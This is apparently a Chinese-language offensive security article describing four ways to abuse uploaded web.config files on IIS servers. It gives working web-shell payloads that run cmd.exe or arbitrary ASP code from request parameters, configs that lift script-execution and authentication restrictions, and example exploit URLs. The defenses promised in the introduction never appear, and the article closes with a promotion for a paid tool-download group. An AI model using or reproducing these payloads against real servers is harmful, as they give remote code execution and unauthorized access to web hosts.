在 .NET Web 应用安全领域,web.config 文件不仅仅是一个普通的配置文件,还能成为攻击者绕过安全限制、执行任意代码的重要工具。本篇文章将系统性地介绍 四种 基于 web.config 绕过限制并执行代码的技术,结合真实案例,深入剖析其利用方式及相应防御措施。
01.作为.NET脚本执行
当 IIS 服务器 仅支持 .NET 运行环境,且无法上传 .aspx、.asmx、.soap 等扩展名的文件时,攻击者可以尝试上传特制的 web.config,让其作为 .NET 脚本运行。
1.1 核心原理
攻击者可以上传以下 web.config 文件,使其 .config 文件扩展名被当作 .aspx 解析,并执行动态 .NET 代码:
<configuration>
<system.web>
<compilation defaultLanguage="cs">
<buildProviders>
<add extension=".config" type="System.Web.Compilation.PageBuildProvider"/>
</buildProviders>
</compilation>
<httpHandlers>
<add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*"/>
</httpHandlers>
</system.web>
</configuration>
<%
if(flag)
{
System.Diagnostics.Process process =newSystem.Diagnostics.Process();
process.StartInfo.FileName ="cmd.exe";
string str = Request["c"];
process.StartInfo.Arguments ="/c "+ str;
process.StartInfo.RedirectStandardOutput =true;
process.StartInfo.RedirectStandardError =true;
process.StartInfo.UseShellExecute =false;
process.Start();
string str2 = process.StandardOutput.ReadToEnd();
Response.Write("<pre>"+ str2 +"</pre>");
Response.Flush();
Response.End();
}
%>
攻击者访问以下 URL,可直接执行系统命令:upload/web.config?c=tasklist,如下图所示
注意:web.config必须上传到 站点根目录,否则可能无法解析。
03.作为ASP脚本运行
如果 IIS 支持 ASP 运行环境,但无法上传 .asp 文件,攻击者可以上传 web.config,使其作为 ASP 代码解析。上传以下 web.config,让 .config 文件扩展名被当作 .asp 解析,并执行 ASP 代码:
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*"
modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write" preCondition="bitness64"/>
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config"/>
</fileExtensions>
<hiddenSegments>
<remove segment="web.config"/>
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!--
<%
Response.write("->"&1+2&"<-")
on error resume next
ifexecute(request("dotnet"))<>""thenexecute(request("dotnet"))
%>
-->
攻击者访问以下 URL,可执行任意 ASP 代码,页面返回当前服务器的系统时间,证明代码执行成功。
/upload/web.config?dotnet=response.write(now())
注意:服务器 必须支持 ASP,否则无法解析 .config 作为 ASP 代码。
04.绕过安全策略限制
某些情况下,管理员会通过 web.config 禁止 uploads/ 目录执行脚本,但仍允许上传文件。攻击者可以上传新的 web.config 重新启用脚本执行权限。上传以下 web.config,重新开放 uploads/ 目录的脚本执行权限:
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Write">
</handlers>
</system.webServer>
</configuration>
攻击者上传 Shell2asmx.soap 后被禁止运行,如下图所示。
但此时修改accessPolicy策略,添加写入、执行、运行脚本权限。即accessPolicy="Read,Write,Execute,Script",再向uploads目录下上传新配置的这个web.config,即可打开正常界面,如下图所示
05. 绕过身份认证
.NET web.config 可用于身份认证,默认会拒绝匿名用户访问。只有已登录用户才能访问该目录,一切的匿名访问都被重定向至登录页,重定向的URL地址如下所示。
最新研究成果:攻击者可以上传 web.config 重新开放目录权限,并执行任意代码。上传以下 web.config,绕过身份认证:
<configuration>
<system.web>
<authorization>
<allow users="*"/>
</authorization>
</system.web>
</configuration>
然后访问 URL 执行系统命令:
/upload/web.config?dotnet=Response.Write(GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").exec("cmd.exe /c tasklist").StdOut.ReadAll())
该请求会利用 Response.Write 输出 cmd.exe /c tasklist 的执行结果,即当前系统的进程列表,如下图所示。
。
文/章/涉/及/的/工/具/已/打/包,请//加//入//后/下//载:https://wx.zsxq.com/group/51121224455454